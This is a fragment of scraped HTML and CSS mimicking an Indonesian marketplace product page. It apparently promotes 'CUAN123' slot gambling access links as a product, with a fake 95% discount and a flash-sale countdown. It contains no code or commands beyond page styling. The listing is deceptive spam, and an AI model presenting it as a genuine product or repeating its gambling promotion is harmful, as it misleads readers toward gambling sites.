variant_options" "tdn_topads tdn_topads variant_options" "discussion_faq discussion_faq variant_options" "pdp_1 pdp_1 pdp_1" "pdp_2 pdp_2 pdp_2" "pdp_3 pdp_3 pdp_3" "pdp_4 pdp_4 pdp_4"; grid-column-gap: 52px; } @media only screen and (max-width:1280px) { .css-kc39pg { grid-column-gap: 40px; grid-template-columns: minmax(0, 240px) minmax(0, 360px) minmax(0, 268px); } } </style> <div class="css-kc39pg"> <style data-emotion-css="6jnsk6"> .css-6jnsk6 { grid-area: product_media; margin: 0; } </style> <div id="pdp_comp-product_media" class="css-6jnsk6"> <style data-emotion-css="1nchjne"> .css-1nchjne { top: 178px; position: -webkit-sticky; position: sticky; } </style> <div class="css-1nchjne"> <style data-emotion-css="fpocxp"> .css-fpocxp { position: relative; overflow: hidden; border-radius: 8px; width: 100%; height: 348px; } @media only screen and (max-width:1280px) { .css-fpocxp { height: 240px; } } .css-fpocxp div { position: relative !important; } .css-fpocxp .active { cursor: pointer; } </style> <div class="css-fpocxp"> <style data-emotion-css="qjpdc6"> .css-qjpdc6 { display: block; padding: 0; outline: 0; border: none; width: 100%; height: 100%; } </style><button class="css-qjpdc6" type="button" popovertarget="preview-image"> <style data-emotion-css="1logqad"> .css-1logqad { width: 100%; height: 100%; overflow: hidden; position: relative; display: -webkit-box; display: -webkit-flex; display: -ms-flexbox; display: flex; -webkit-align-items: center; -webkit-box-align: center; -ms-flex-align: center; align-items: center; -webkit-box-pack: center; -webkit-justify-content: center; -ms-flex-pack: center; justify-content: center; } .css-1logqad.active { cursor: crosshair; } .css-1logqad.active>div.magnifier { width: 100%; height: 100%; overflow: hidden; position: absolute; background-repeat: no-repeat; -webkit-animation: animation-dswnjo 0.75s ease-in-out; animation: animation-dswnjo 0.75s ease-in-out; } </style> <div class="css-1logqad active"> <div class="magnifier" style="background-image:url(/https://lpmplampung.id/img/cache/100-square/VqbcmM/2023/12/6/d1b63513-4989-4eca-ab98-a713e12db3c8.jpg.webp?ect=4g);background-position:50% 50%;background-size:200%;display:none"> </div> <style data-emotion-css="1xopdmj"> .css-1xopdmj { position: relative; display: inline-block; opacity: 1; border: 0; margin: 0; padding: 0; width: initial; height: initial; background: none; overflow: hidden; box-sizing: border-box; width: 100%; height: 100%; display: block; } .css-1xopdmj.responsive { display: block; } </style> <div class="intrinsic css-1xopdmj"> <style data-emotion-css="1w3vjqw"> .css-1w3vjqw { display: block; width: initial; height: initial; opacity: 1; border: 0; margin: 0; padding: 0; background: none; box-sizing: border-box; overflow: hidden; } .css-1w3vjqw.responsive { display: block; } .css-1w3vjqw.intrinsic { max-width: 100%; } </style><span class="css-1w3vjqw intrinsic"> <style data-emotion-css="io8lqb"> .css-io8lqb { display: block; background: none; width: initial; height: initial; max-width: 100%; opacity: 1; border: 0; margin: 0; padding: 0; } </style><img class="css-io8lqb" alt="" aria-hidden="true" src="data:image/svg+xml,%3csvg xmlns=%27http://www.w3.org/2000/svg%27 version=%271.1%27 width=%27100%27 height=%27100%27/%3e" /> </span> <style data-emotion-css="1c345mg"> .css-1c345mg { position: absolute; top: 0; left: 0; bottom: 0; right: 0; width: 0; height: 0; min-width: 100%; max-width: 100%; min-height: 100%; max-height: 100%; display: block; padding: 0; margin: auto; border: none; box-sizing: border-box; } </style><img data-testid="PDPMainImage" class="css-1c345mg" decoding="async" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjbAuOdofbeFuLl3YYYH7B7dC0ExrtokT_C0X5p8RozvmKs4QOz9zvydavsvBjA515KMmDOM5jFEQO1bf9twPsZ67jpwocDqNFnrKnmdb3rEcSuEwHqKBR1aDfHQnP8cj_VoqZ_0kyH_ojR4Y04LY0JXa4Cjr0yS9J_Wd8Ee3-W7QrGzh3R2SoL6lAB/s1080/CUAN123%20(1).webp" alt="CUAN123"/> </div> </div> </button> </div> <style data-emotion-css="1yezavk"> .css-1yezavk { position: relative; margin-top: 8px; } .css-1yezavk .overflow-image { margin-left: 100vw; } </style> <div class="css-1yezavk"> <style data-emotion-css="1afp10f"> .css-1afp10f { width: 100%; overflow: hidden; } </style> <div data-testid="listPDPSlider" class="css-1afp10f"> <style data-emotion-css="17wadv5"> .css-17wadv5 { position: relative; -webkit-transition: -webkit-transform 500ms ease 0s; -webkit-transition: transform 500ms ease 0s; transition: transform 500ms ease 0s; -webkit-transform: translate3d(0px, 0px, 0px); -ms-transform: translate3d(0px, 0px, 0px); transform: translate3d(0px, 0px, 0px); display: -webkit-box; display: -webkit-flex; display: -ms-flexbox; display: flex; -webkit-flex-wrap: nowrap; -ms-flex-wrap: nowrap; flex-wrap: nowrap; min-width: 100vw; } </style> <div class="css-17wadv5"> <style data-emotion-css="1m4bhbr"> .css-1m4bhbr { padding: 0; margin-right: 7px; border: none; outline: none; background: transparent; } .css-1m4bhbr>div { width: 64px; height: 64px; overflow: hidden; cursor: pointer; position: relative; border: 2px solid var(--NN0, #FFFFFF); border-radius: 8px; -webkit-transition: border-color 0.25s; transition: border-color 0.25s; } .css-1m4bhbr>div.active { border-color: var(--GN500, #00AA5B); } .css-1m4bhbr>div:has(.playIcon)::after { content: ''; display: block; background: rgba(0, 0, 0, 0.2); position: absolute; top: 0; left: 0; right: 0; bottom: 0; } .css-1m4bhbr>div>.playIcon { position: absolute; top: 25%; left: 25%; width: 50%; height: 50%; text-align: center; z-index: 1; } @media only screen and (max-width:1280px) { .css-1m4bhbr>div { width: 44px; height: 44px; } } </style> </div> <style data-emotion-css="7eker5 1kyk8bx"> .css-7eker5 { position: absolute; top: 50%; -webkit-transform: translateY(-50%); -ms-transform: translateY(-50%); transform: translateY(-50%); padding: 0; border: none; width: 24px; height: 24px; background: var(--NN700, rgba(82, 88, 103, 0.96)); cursor: pointer; } .css-1kyk8bx { right: 0px; border-radius: 4px 0 0 4px; } </style><button type="button" class="css-7eker5 css-1kyk8bx" data-testid="btnPDPImageSliderNext" aria-label="Gambar Selanjutnya"><svg class="unf-icon" viewBox="0 0 24 24" width="20" height="20" fill="var(--NN0, #FFFFFF)" style="display:inline-block;vertical-align:middle"> <path d="M9.5 17.75a.75.75 0 01-.5-1.28L13.44 12 9 7.53a.75.75 0 011-1.06l5 5a.75.75 0 010 1.06l-5 5a.74.74 0 01-.5.22z"> </path> </svg></button> </div> </div> </div> </div> <style data-emotion-css="1l14ucz"> .css-1l14ucz { grid-area: ticker_info; margin: 0; } </style> <div id="pdp_comp-ticker_info" class="css-1l14ucz"></div> <style data-emotion-css="37v29a"> .css-37v29a { grid-area: variant_options; margin: 0; } </style> <div id="pdp_comp-variant_options" class="css-37v29a"> <style data-emotion-css="17qnh40"> .css-17qnh40 { position: -webkit-sticky; position: sticky; top: 172px; } </style> <div class="css-17qnh40"> <style data-emotion-css="ucapov"> .css-ucapov { position: relative; margin-bottom: 16px; } .css-ucapov .overlay { position: absolute; width: 100%; height: 100%; right: 0; top: 0; background-image: url(//assets-tokopedia-lite/v2/zeus/kratos/b33421a4.svg); background-position: top right; background-repeat: no-repeat; background-size: 45%; z-index: 3; border-radius: 8px; } </style> <div class="css-ucapov"> <style data-emotion-css="vvfgjt"> .css-vvfgjt { -webkit-box-pack: justify; -webkit-justify-content: space-between; -ms-flex-pack: justify; justify-content: space-between; display: -webkit-box; display: -webkit-flex; display: -ms-flexbox; display: flex; -webkit-flex-wrap: wrap; -ms-flex-wrap: wrap; flex-wrap: wrap; font-size: 14px; background: linear-gradient(90deg, #007248 0%, #09ab67 100%); color: white; border-radius: 8px; padding: 8px 12px; font-weight: 800; z-index: 2; position: relative; min-height: 40px; -webkit-align-items: center; -webkit-box-align: center; -ms-flex-align: center; align-items: center; line-height: 16px; } .css-vvfgjt .campaign-name { font-size: 13px; line-height: 18px; } .css-vvfgjt>span:first-of-type { margin-right: 8px; } </style> <div class="css-vvfgjt"> <div> <div class="campaign-name">Beli Lokal</div> <style data-emotion-css="1oyhfv0"> .css-1oyhfv0 { z-index: 1; position: relative; font-weight: normal; font-size: 10px; line-height: 16px; margin-top: 4px; } .css-1oyhfv0>span:first-of-type { width: 72px; margin-right: 8px; border-radius: 8px; background-color: rgba(255, 255, 255, 0.5); display: inline-block; height: 4px; line-height: 16px; font-size: 10px; vertical-align: middle; } .css-1oyhfv0>span:first-of-type .bar { position: relative; float: left; height: 100%; border-radius: 8px; background: white; } </style> <div class="css-1oyhfv0"><span> <div class="bar" style="width:75%"></div> </span><span data-testid="pdpCampaignStock">Segera Habis</span></div> </div> <style data-emotion-css="4fwu1b"> .css-4fwu1b { font-size: 10px; color: white; font-weight: normal; text-align: center; } .css-4fwu1b>div { width: 100%; display: block; } .css-4fwu1b>div:first-of-type { margin-bottom: 2px; } </style> <div data-testid="pdpFlashSaleTimer" class="css-4fwu1b"> <div>Berakhir dalam</div> <style data-emotion-css="1vqjtbq"> .css-1vqjtbq { max-width: 100%; display: -webkit-inline-box; display: -webkit-inline-flex; display: -ms-inline-flexbox; display: inline-flex; -webkit-align-items: center; -webkit-box-align: center; -ms-flex-align: center; align-items: center; } </style> <div class="unf-timer css-1vqjtbq e1d34y70" data-unify="Timer" aria-labelledby="default-timerAria"> <style data-emotion-css="1pl4r3e"> .css-1pl4r3e { height: 20px; line-height: 20px; border-radius: 14px; background-color: #FFFFFF; color: var(--RN300, #E02954); padding: 0 8px 0 8px; display: -webkit-inline-box; display: -webkit-inline-flex; display: -ms-inline-flexbox; display: inline-flex; -webkit-flex-shrink: 0; -ms-flex-negative: 0; flex-shrink: 0; -webkit-align-items: center; -webkit-box-align: center; -ms-flex-align: center; align-items: center; font-weight: bold; } </style> <div type="single" class="css-1pl4r3e e1d34y71"> <div style="display:flex;flex-direction:row;align-items:center"> <style data-emotion-css="1frbrna"> .css-1frbrna { height: 12px; line-height: 12px; font-size: 12px; -webkit-flex-shrink: 0; -ms-flex-negative: 0; flex-shrink: 0; overflow: hidden; } </style> <div class="css-1frbrna e1d34y73"> <style data-emotion-css="j3txfr"> .css-j3txfr { font-size: 12px; text-align: center; display: -webkit-inline-box; display: -webkit-inline-flex; display: -ms-inline-flexbox; display: inline-flex; position: relative; box-sizing: border-box; overflow: hidden; } </style> <div class="unf-timer__hour css-j3txfr e1d34y74" style="width:16px"> <style data-emotion-css="1li8p7i"> .css-1li8p7i { width: 50%; position: relative; -webkit-transform: translateY(-12px); -ms-transform: translateY(-12px); transform: translateY(-12px); will-change: transform; } .css-1li8p7i div { font-size: 12px; } </style> <div style="text-align:right" class="css-1li8p7i e1d34y75"> <div>0</div> <div>0</div> </div> <div style="text-align:left" class="css-1li8p7i e1d34y75"> <div>0</div> <div>3</div> </div> </div> <div style="margin:0 3px" class="css-j3txfr e1d34y74">:</div> <div class="unf-timer__minute css-j3txfr e1d34y74" style="width:16px"> <div style="text-align:right" class="css-1li8p7i e1d34y75"> <div>0</div> <div>4</div> </div> <div style="text-align:left" class="css-1li8p7i e1d34y75"> <div>0</div> <div>6</div> </div> </div> <div style="margin:0 3px" class="css-j3txfr e1d34y74">:</div> <div class="unf-timer__second css-j3txfr e1d34y74" style="width:16px"> <div style="text-align:right" class="css-1li8p7i e1d34y75"> <div>0</div> <div>1</div> </div> <div style="text-align:left" class="css-1li8p7i e1d34y75"> <div>0</div> <div>7</div> </div> </div> </div> <div id="default-timerAria" aria-live="polite" role="timer" style="width:0;height:0;overflow:hidden">3 jam46 menit17 detik </div> </div> </div> </div> </div> </div> <div class="overlay"></div> </div> <style data-emotion-css="1o8qs2p"> .css-1o8qs2p { border: 1px solid var(--NN300, #BFC9D9); border-radius: 8px; padding: 0 12px; } </style> <div id="pdpFloatingActions" data-testid="wrapperQuantityAction" class="css-1o8qs2p"> <style data-emotion-css="iq5ooo"> .css-iq5ooo { margin: 12px 0 20px; font-weight: 800; font-size: 16px; line-height: 22px; color: var(--NN950, #212121); text-align: left; } </style> <h6 class="css-iq5ooo">Atur jumlah dan catatan</h6> <style data-emotion-css="i4q68g"> .css-i4q68g { margin-bottom: 12px; display: -webkit-box; display: -webkit-flex; display: -ms-flexbox; display: flex; -webkit-align-items: center; -webkit-box-align: center; -ms-flex-align: center; align-items: center; border: none; border-bottom: 1px solid var(--NN50, #F0F3F7); padding: 0 0 12px; cursor: pointer; background: transparent; text-align: left; width: 100%; } .css-i4q68g>img { width: 48px; height: 48px; object-fit: contain; margin-right: 8px; border-radius: 4px; } </style><button type="button" class="css-i4q68g" aria-live="assertive" aria-atomic="true"> <style data-emotion-css="14deqii-unf-heading"> @font-face { font-family: Open Sauce One; src: local('Open Sauce One Regular'), url('//asts/unify/fonts/OpenSauceOne-Regular.woff2') format('woff2'); font-weight: 400; font-style: normal; } @font-face { font-family: Open Sauce One; src: local('Open Sauce One ExtraBold'), url('//asts/unify/fonts/OpenSauceOne-ExtraBold.woff2') format('woff2'); font-weight: 800; font-style: normal; } .css-14deqii-unf-heading { display: block; position: relative; font-weight: 400; font-family: Open Sauce One, 'Nunito Sans', -apple-system, sans-serif; font-size: 1rem; line-height: 18px; -webkit-letter-spacing: 0px; -moz-letter-spacing: 0px; -ms-letter-spacing: 0px; letter-spacing: 0px; color: var(--NN950, #212121); -webkit-text-decoration: initial; text-decoration: initial; margin: 0; } </style> <p data-unify="Typography" class="css-14deqii-unf-heading e1qvo2ff8"> <style data-emotion-css="1ngblhr"> .css-1ngblhr { position: absolute; width: 1px; height: 1px; padding: 0; margin: -1px; overflow: hidden; -webkit-clip: rect(0, 0, 0, 0); clip: rect(0, 0, 0, 0); border: 0; } </style><span class="css-1ngblhr">Terpilih: </span>22 </p> </button> <style data-emotion-css="1waacjy"> .css-1waacjy { display: -webkit-box; display: -webkit-flex; display: -ms-flexbox; display: flex; -webkit-align-items: center; -webkit-box-align: center; -ms-flex-align: center; align-items: center; } .css-1waacjy p { font-size: 1rem; line-height: 20px; margin: 0; margin-left: 8px; color: var(--NN950, #212121); } </style> <div class="css-1waacjy" data-testid="quantityOrder"> <style data-emotion-css="1aq53kl-unf-quantity-editor"> .css-1aq53kl-unf-quantity-editor { -webkit-align-items: center; -webkit-box-align: center; -ms-flex-align: center; align-items: center; border: solid 1px var(--NN300, #BFC9D9); border-radius: 8px; display: -webkit-inline-box; display: -webkit-inline-flex; display: -ms-inline-flexbox; display: inline-flex; padding: 3px; -webkit-transition: border 120ms cubic-bezier(0.2, 0.64, 0.21, 1); transition: border 120ms cubic-bezier(0.2, 0.64, 0.21, 1); min-width: 70px; width: 102px; } </style> <div class="css-1aq53kl-unf-quantity-editor"> <style data-emotion-css="6cobzs"> .css-6cobzs { background-color: transparent; border: none; border-radius: 4px; cursor: pointer; -webkit-flex-shrink: 0; -ms-flex-negative: 0; flex-shrink: 0; height: 24px; padding: 0; width: 24px; -webkit-appearance: none; } .css-6cobzs:hover { background-color: var(--NN50, #F0F3F7); } .css-6cobzs:hover:disabled { background-color: transparent; } .css-6cobzs:disabled { cursor: not-allowed; } </style><button aria-label="Kurangi 1" class="css-6cobzs" disabled="" tabindex="-1"><svg class="unf-icon" viewBox="0 0 24 24" width="16px" height="16px" fill="var(--NN300, #BFC9D9)" style="display:inline-block;vertical-align:middle"> <path d="M20 12.75H4a.75.75 0 110-1.5h16a.75.75 0 110 1.5z"></path> </svg></button> <style data-emotion-css="3a6js2-unf-quantity-editor__input"> .css-3a6js2-unf-quantity-editor__input { background-color: transparent; border: none; color: var(--NN950, #212121); font-family: inherit; font-size: 14px; line-height: 18px; outline: none; text-align: center; -webkit-flex-shrink: 2; -ms-flex-negative: 2; flex-shrink: 2; -webkit-box-flex: 2; -webkit-flex-grow: 2; -ms-flex-positive: 2; flex-grow: 2; width: 100%; } .css-3a6js2-unf-quantity-editor__input:disabled { color: var(--NN400, #AAB4C8); } </style><input type="text" id="qty-editor-atc" aria-valuenow="1" aria-valuemin="1" aria-valuemax="1" class="css-3a6js2-unf-quantity-editor__input" data-unify="QuantityEditor" role="spinbutton" value="1" /><button aria-label="Tambah 1" class="css-6cobzs" disabled="" tabindex="-1"><svg class="unf-icon" viewBox="0 0 24 24" width="16px" height="16px" fill="var(--NN300, #BFC9D9)" style="display:inline-block;vertical-align:middle"> <path d="M20 11.25h-7.25V4a.75.75 0 10-1.5 0v7.25H4a.75.75 0 100 1.5h7.25V20a.75.75 0 101.5 0v-7.25H20a.75.75 0 100-1.5z"> </path> </svg></button> </div><label class="css-1ngblhr" for="qty-editor-atc">jumlah</label> <style data-emotion-css="1yy88m3-unf-heading"> @font-face { font-family: Open Sauce One; src: local('Open Sauce One Regular'), url('//asts/unify/fonts/OpenSauceOne-Regular.woff2') format('woff2'); font-weight: 400; font-style: normal; } @font-face { font-family: Open Sauce One; src: local('Open Sauce One ExtraBold'), url('//asts/unify/fonts/OpenSauceOne-ExtraBold.woff2') format('woff2'); font-weight: 800; font-style: normal; } .css-1yy88m3-unf-heading { display: block; position: relative; font-weight: 400; font-family: Open Sauce One, 'Nunito Sans', -apple-system, sans-serif; font-size: 1rem; line-height: 20px; -webkit-letter-spacing: 0px; -moz-letter-spacing: 0px; -ms-letter-spacing: 0px; letter-spacing: 0px; color: var(--NN950, #212121); -webkit-text-decoration: initial; text-decoration: initial; margin: 12px 0; } </style> <p data-unify="Typography" data-testid="stock-label" class="css-1yy88m3-unf-heading e1qvo2ff8">Stok<!-- -->: <b style="color:var(--YN600, #F36819)">Sisa <!-- -->22</b> </p> </div> <style data-emotion-css="1f0jhqr"> .css-1f0jhqr p:first-of-type { margin-top: 8px; } .css-1f0jhqr p:last-of-type { margin-bottom: 8px; } </style> <div class="css-1f0jhqr"> <style data-emotion-css="1hwin4h-unf-heading"> @font-face { font-family: Open Sauce One; src: local('Open Sauce One Regular'), url('//asts/unify/fonts/OpenSauceOne-Regular.woff2') format('woff2'); font-weight: 400; font-style: normal; } @font-face { font-family: Open Sauce One; src: local('Open Sauce One ExtraBold'), url('//asts/unify/fonts/OpenSauceOne-ExtraBold.woff2') format('woff2'); font-weight: 800; font-style: normal; } .css-1hwin4h-unf-heading { display: block; position: relative; font-weight: 400; font-family: Open Sauce One, 'Nunito Sans', -apple-system, sans-serif; font-size: 0.8571428571428571rem; line-height: 16px; -webkit-letter-spacing: 0px; -moz-letter-spacing: 0px; -ms-letter-spacing: 0px; letter-spacing: 0px; color: var(--NN600, #6D7588); -webkit-text-decoration: initial; text-decoration: initial; margin: 4px 0; } </style> <p data-unify="Typography" data-testid="lblPDPMaxPurchase" class="css-1hwin4h-unf-heading e1qvo2ff8">Max. pembelian <!-- -->1<!-- --> pcs </p> </div> <style data-emotion-css="1o8mlq9"> .css-1o8mlq9 { margin-top: 16px !important; } .css-1o8mlq9 button { display: -webkit-box; display: -webkit-flex; display: -ms-flexbox; display: flex; -webkit-align-items: center; -webkit-box-align: center; -ms-flex-align: center; align-items: center; font-size: 12px; background: none; padding: 0; border: none; color: var(--GN500, #00AA5B); cursor: pointer; } .css-1o8mlq9 button>svg { margin-right: 4px; } </style> <div class="css-1o8mlq9"><button type="button" data-testid="lblPDPDetailNoteToSeller"><svg class="unf-icon" viewBox="0 0 24 24" width="16" height="16" fill="var(--GN500, #00AA5B)" style="display:inline-block;vertical-align:middle"> <path d="M21.32 5.26l-2.58-2.58a1.75 1.75 0 00-2.48 0l-12 12a1.73 1.73 0 00-.5 1l-.4 3.53a1.25 1.25 0 00.36 1c.236.23.551.358.88.36h.1l3.54-.4a1.73 1.73 0 001-.5l12-12a1.74 1.74 0 000-2.48l.08.07zM8.22 18.72a.23.23 0 01-.15.07l-3.22.36.36-3.22a.21.21 0 01.07-.15l9.22-9.22 2.94 2.94-9.22 9.22zm12-12L18.5 8.44 15.56 5.5l1.76-1.76a.24.24 0 01.36 0l2.58 2.58a.24.24 0 010 .36l-.04.04z"> </path> </svg><b>Tambah Catatan</b></button></div> <style data-emotion-css="1jbawm2"> .css-1jbawm2 { margin: 16px 0; } </style> <div class="css-1jbawm2"> <style data-emotion-css="txydfw-unf-heading"> @font-face { font-family: Open Sauce One; src: local('Open Sauce One Regular'), url('//asts/unify/fonts/OpenSauceOne-Regular.woff2') format('woff2'); font-weight: 400; font-style: normal; } @font-face { font-family: Open Sauce One; src: local('Open Sauce One ExtraBold'), url('//asts/unify/fonts/OpenSauceOne-ExtraBold.woff2') format('woff2'); font-weight: 800; font-style: normal; } .css-txydfw-unf-heading { display: block; position: relative; font-weight: 400; font-family: Open Sauce One, 'Nunito Sans', -apple-system, sans-serif; font-size: 0.8571428571428571rem; line-height: 16px; -webkit-letter-spacing: 0px; -moz-letter-spacing: 0px; -ms-letter-spacing: 0px; letter-spacing: 0px; color: var(--NN400, #AAB4C8); -webkit-text-decoration: initial; text-decoration: initial; margin: 0 0 2px; line-height: 20px; text-align: right; } </style> <p data-unify="Typography" color="var(--NN400, #AAB4C8)" class="css-txydfw-unf-heading e1qvo2ff8"><del data-testid="pdpSlashPrice"><span class="css-1ngblhr">harga sebelum diskon</span>Rp50.000</del></p> <style data-emotion-css="69i1ev"> .css-69i1ev { display: -webkit-box; display: -webkit-flex; display: -ms-flexbox; display: flex; -webkit-box-pack: justify; -webkit-justify-content: space-between; -ms-flex-pack: justify; justify-content: space-between; -webkit-align-items: center; -webkit-box-align: center; -ms-flex-align: center; align-items: center; } </style> <div class="css-69i1ev"> <style data-emotion-css="vni7t6-unf-heading"> @font-face { font-family: Open Sauce One; src: local('Open Sauce One Regular'), url('//asts/unify/fonts/OpenSauceOne-Regular.woff2') format('woff2'); font-weight: 400; font-style: normal; } @font-face { font-family: Open Sauce One; src: local('Open Sauce One ExtraBold'), url('//asts/unify/fonts/OpenSauceOne-ExtraBold.woff2') format('woff2'); font-weight: 800; font-style: normal; } .css-vni7t6-unf-heading { display: block; position: relative; font-weight: 400; font-family: Open Sauce One, 'Nunito Sans', -apple-system, sans-serif; font-size: 1rem; line-height: 18px; -webkit-letter-spacing: 0px; -moz-letter-spacing: 0px; -ms-letter-spacing: 0px; letter-spacing: 0px; color: var(--NN600, #6D7588); -webkit-text-decoration: initial; text-decoration: initial; margin: 0; } </style> <p data-unify="Typography" class="css-vni7t6-unf-heading e1qvo2ff8">Subtotal</p> <style data-emotion-css="mbgq8e-unf-heading"> @font-face { font-family: Open Sauce One; src: local('Open Sauce One Regular'), url('//asts/unify/fonts/OpenSauceOne-Regular.woff2') format('woff2'); font-weight: 400; font-style: normal; } @font-face { font-family: Open Sauce One; src: local('Open Sauce One ExtraBold'), url('//asts/unify/fonts/OpenSauceOne-ExtraBold.woff2') format('woff2'); font-weight: 800; font-style: normal; } .css-mbgq8e-unf-heading { display: block; position: relative; font-weight: 400; font-family: Open Sauce One, 'Nunito Sans', -apple-system, sans-serif; font-size: 1rem; line-height: 20px; -webkit-letter-spacing: 0px; -moz-letter-spacing: 0px; -ms-letter-spacing: 0px; letter-spacing: 0px; color: var(--NN950, #212121); -webkit-text-decoration: initial; text-decoration: initial; margin: 0; font-weight: bold; font-size: 18px; line-height: 26px; } </style> <p data-unify="g4dvn5l0t" data-testid="pdpProductPrice" class="css-mbgq8e-unf-heading e1qvo2ff8">Rp5.000</p> </div> </div> <div style="margin-bottom:12px"> <style data-emotion-css="nxw55l-unf-loader-square"> .css-nxw55l-unf-loader-square { width: 100%; padding-bottom: 40px; margin-bottom: 8px; border-radius: 8px; background-image: linear-gradient(65deg, var(--N50, #F3F4F5), var(--N100, #DBDEE2)); } </style> <div width="100%" data-unify="LoaderSquare" class="css-nxw55l-unf-loader-square egq86ck0"></div> <style data-emotion-css="1i86z45-unf-loader-square"> .css-1i86z45-unf-loader-square { width: 100%; padding-bottom: 40px; margin-bottom: 18px; border-radius: 8px; background-image: linear-gradient(65deg, var(--N50, #F3F4F5), var(--N100, #DBDEE2)); } </style> <div width="100%" data-unify="LoaderSquare" class="css-1i86z45-unf-loader-square egq86ck0"></div> <style data-emotion-css="88k67k"> .css-88k67k { display: -webkit-box; display: -webkit-flex; display: -ms-flexbox; display: flex; -webkit-align-items: center; -webkit-box-align: center; -ms-flex-align: center; align-items: center; } .css-88k67k>div { width: 100%; -webkit-box-pack: center; -webkit-justify-content: center; -ms-flex-pack: center; justify-content: center; } </style> <div class="css-88k67k"> <style data-emotion-css="1vo2exe"> .css-1vo2exe { display: -webkit-box; display: -webkit-flex; display: -ms-flexbox; display: flex; -webkit-flex-wrap: wrap; -ms-flex-wrap: wrap; flex-wrap: wrap; -webkit-align-items: center; -webkit-box-align: center; -ms-flex-align: center; align-items: center; } .css-1vo2exe>div { margin: 0; margin-right: 8px; } .css-1vo2exe>span { margin-right: 8px; } </style> <div class="css-1vo2exe"> <style data-emotion-css="150b3ut-unf-loader-circle"> .css-150b3ut-unf-loader-circle { height: 20px; width: 20px; margin: auto; margin-bottom: 16px; background-image: linear-gradient(63deg, var(--N50, #F3F4F5), var(--N100, #DBDEE2)); border-radius: 50%; } </style> <div data-unify="LoaderCircle" width="20px" height="20px" class="css-150b3ut-unf-loader-circle egq86ck1"></div> <style data-emotion-css="1obwgi-unf-loader-square"> .css-1obwgi-unf-loader-square { width: 40%; padding-bottom: 10px; margin-bottom: 0; border-radius: 8px; background-image: linear-gradient(65deg, var(--N50, #F3F4F5), var(--N100, #DBDEE2)); } </style> <div width="40%" data-unify="LoaderSquare" class="css-1obwgi-unf-loader-square egq86ck0"></div> </div> <div class="css-1vo2exe"> <div data-unify="LoaderCircle" width="20px" height="20px" class="css-150b3ut-unf-loader-circle egq86ck1"></div> <div width="40%" data-unify="LoaderSquare" class="css-1obwgi-unf-loader-square egq86ck0"></div> </div> </div> </div> </div> </div> </div> <style data-emotion-css="1fogemr"> .css-1fogemr { grid-area: product_content; margin: 0; } </style> <div id="pdp_comp-product_content" class="css-1fogemr"> <style data-emotion-css="jmbq56"> .css-jmbq56 { margin-bottom: 6px; } </style> <div lang="id" class="css-jmbq56"> <style data-emotion-css="1os9jjn"> .css-1os9jjn { margin: 0 0 4px; font-weight: 800; font-size: 1.2857142857142858rem; line-height: 24px; color: var(--NN950, #212121); word-break: break-word; } </style> <h1 class="css-1os9jjn" data-testid="lblPDPDetailProductName">CUAN123: Rekomendasi Slot Gacor Provider Slot88 Link Akses Tanpa Gangguan</h1> <style data-emotion-css="bczdt6"> .css-bczdt6 { display: -webkit-box; display: -webkit-flex; display: -ms-flexbox; display: flex; -webkit-align-items: center; -webkit-box-align: center; -ms-flex-align: center; align-items: center; margin-bottom: 16px; } .css-bczdt6 b { color: var(--NN950, #212121); } .css-bczdt6 .items { display: -webkit-box; display: -webkit-flex; display: -ms-flexbox; display: flex; -webkit-box-flex: 1; -webkit-flex-grow: 1; -ms-flex-positive: 1; flex-grow: 1; color: var(--NN700, #525867); } .css-bczdt6 .items svg { vertical-align: text-top !important; } .css-bczdt6 .items>* { display: inline-block; margin-right: 8px; } .css-bczdt6 .items>*:last-child { margin-right: 0; } .css-bczdt6 .items .main { color: var(--NN950, #212121); } .css-bczdt6 .items * { font-size: 1rem; line-height: 20px; } </style> <div class="css-bczdt6"> <style data-emotion-css="w5o098-unf-loader-square"> .css-w5o098-unf-loader-square { width: 100%; padding-bottom: 21px; margin-bottom: 0; border-radius: 8px; background-image: linear-gradient(65deg, var(--N50, #F3F4F5), var(--N100, #DBDEE2)); } </style> <div width="100%" data-unify="LoaderSquare" class="css-w5o098-unf-loader-square egq86ck0"></div> </div> <style data-emotion-css="chstwd"> .css-chstwd .price { margin-bottom: 4px; font-size: 2rem; line-height: 34px; font-weight: 800; color: var(--NN950, #212121); } .css-chstwd .original-price { margin: 0 8px 0 4px; display: inline-block; color: var(--NN400, #AAB4C8); -webkit-text-decoration-line: line-through; text-decoration-line: line-through; } </style> <div class="css-chstwd"> <div class="price" data-testid="lblPDPDetailProductPrice">Rp.5000</div> <style data-emotion-css="70qvj9"> .css-70qvj9 { display: -webkit-box; display: -webkit-flex; display: -ms-flexbox; display: flex; -webkit-align-items: center; -webkit-box-align: center; -ms-flex-align: center; align-items: center; } </style> <div class="css-70qvj9"> <style data-emotion-css="1cu9wwf"> .css-1cu9wwf { padding: 2px 4px; font-size: 10px; line-height: 16px; background-color: var(--RN100, #FFDBE2); color: var(--RN500, #F94D63); border-radius: 3px; font-weight: 600; } </style> <div class="css-1cu9wwf"><span class="css-1ngblhr">diskon </span><span data-testid="lblPDPDetailDiscountPercentage">95%</span></div> <div class="original-price"><span class="css-1ngblhr">Harga sebelum diskon </span><span data-testid="lblPDPDetailOriginalPrice">Rp50.000</span></div> </div> </div> </div> </div> <style data-emotion-css="12lbl8t"> .css-12lbl8t { grid-area: new_variant_options; margin: 0; } </style> <div id="pdp_comp-new_variant_options" class="css-12lbl8t"> <style data-emotion-css="1ifrycw"> .css-1ifrycw { background: var(--NN50, #F0F3F7); height: 1px; margin: 16px 0; } </style> <div data-name="new_variant_options" class="css-1ifrycw"></div> <style data-emotion-css="7y3rw8"> .css-7y3rw8 { width: 100%; position: relative; background-color: var(--NN0, #FFFFFF); } </style> <div id="pdpVariantContainer" data-testid="pdpVariantContainer" class="css-7y3rw8"> <style data-emotion-css="1b2d3hk"> .css-1b2d3hk { position: relative; z-index: 1; } .css-1b2d3hk>div { margin-bottom: 24px; } .css-1b2d3hk>div:last-child { margin-bottom: 0; } </style> <div class="css-1b2d3hk"> <div class="css-1b2d3hk"> <style data-emotion-css="x7tz35-unf-heading"> @font-face { font-family: Open Sauce One; src: local('Open Sauce One Regular'), url('//asts/unify/fonts/OpenSauceOne-Regular.woff2') format('woff2'); font-weight: 400; font-style: normal; } @font-face { font-family: Open Sauce One; src: local('Open Sauce One ExtraBold'), url('//asts/unify/fonts/OpenSauceOne-ExtraBold.woff2') format('woff2'); font-weight: 800; font-style: normal; } .css-x7tz35-unf-heading { display: block; position: relative; font-weight: 800; font-family: Open Sauce One, 'Nunito Sans', -apple-system, sans-serif; font-size: 1.1428571428571428rem; 